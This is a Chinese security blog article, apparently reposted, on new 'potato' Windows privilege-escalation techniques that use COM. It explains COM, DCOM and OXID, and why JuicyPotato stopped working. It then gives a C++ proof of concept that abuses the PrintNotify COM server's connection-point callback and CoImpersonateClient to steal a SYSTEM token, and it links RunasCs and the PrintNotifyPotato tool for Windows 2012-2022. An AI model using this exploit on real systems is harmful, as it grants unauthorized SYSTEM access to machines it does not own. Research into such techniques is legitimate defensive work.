COM安全 新型土豆提权 第一部分
2022-12-8 12:17:5 Author: 赛博少女(查看原文) 阅读量:10 收藏

一、概述


自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,

本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法


二、关于COM对象


COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。

COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。

COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。

总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。


三、COM与DCOM对象的区别


COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。

DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。

因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。

DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。

另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。

总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。


在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。

OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。

OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。

IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。

在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。


JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。

在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker

PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。

然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer

然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。

但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。


当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。

来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限

Demo

// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <iostream>#include "ole2.h"#include <comdef.h>#include <printerextension.h>#include <sddl.h>

GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };


IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown{ LONG m_lRefCount;

void TryImpersonate(){ if (*m_ptoken == nullptr) { HRESULT hr = CoImpersonateClient(); if (SUCCEEDED(hr)) { HANDLE hToken; if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) { PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) { LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) { *m_ptoken = hToken; RevertToSelf(); } else { CloseHandle(hToken); }
printf("Got Token: %p %ls\n", hToken, sid_name); LocalFree(sid_name); } else { printf("Error getting token user %d\n", GetLastError()); } free(user); } else { printf("Error opening token %d\n", GetLastError()); } } } }
public: HANDLE* m_ptoken; //Constructor, Destructor FakeObject(HANDLE* ptoken) { m_lRefCount = 1; m_ptoken = ptoken; *m_ptoken = nullptr; }
~FakeObject() {};
//IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj){ TryImpersonate();
if (riid == __uuidof(IUnknown)) { *ppvObj = this; } else if (riid == IID_FakeInterface) { printf("Check for FakeInterface\n"); *ppvObj = this; } else { *ppvObj = NULL; return E_NOINTERFACE; }
AddRef(); return NOERROR; }
ULONG __stdcall AddRef(){ TryImpersonate(); return InterlockedIncrement(&m_lRefCount); }
ULONG __stdcall Release(){ TryImpersonate(); // not thread safe ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount) { delete this; }
return ulCount; }};

int main(){ // 初始化COM运行时 CoInitialize(NULL); //初始化COM运行时上下文 HRESULT hr;
IMonikerPtr pFakeObj; HANDLE ptoken = NULL;
FakeObject* fakeObject = new FakeObject(&ptoken);

//CreatePointerMoniker(fakeObject, &pFakeObj);
IUnknown* pPrintNotify = NULL;
hr = CoCreateInstance(PrintNotifyGUID, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));
if (SUCCEEDED(hr)) { IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;
hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);
IEnumConnectionPoints* pIEnumConnectionPoints;
hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);

LPCONNECTIONPOINT pCONNECTIONPOINT; ULONG fetched;
hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);
DWORD cookie;
hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);
printf("Got Token At :%p\n", fakeObject->m_ptoken); } else { printf("CoCreateInstance fail hr: %d\n",hr); }



std::cout << "Hello World!\n"; return 0;}

回到我们的IIS服务器,我发现创建PrintNotify失败了?

它只允许以下用户组该怎么办?

通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs

在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行

https://github.com/BeichenDream/PrintNotifyPotato


http://code.google.com/p/google-security-research/issues/detail?id=128

zcgonvh
https://github.com/antonioCoco/JuicyPotatoNG
https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247486680&idx=1&sn=3846d110bbe050e1141327a95d50d943&chksm=c053f7f2f7247ee47ec66d63dffb83296935e24ec63506c68119069dcb13888d1385be294de5#rd
如有侵权请联系:admin#unsafe.sh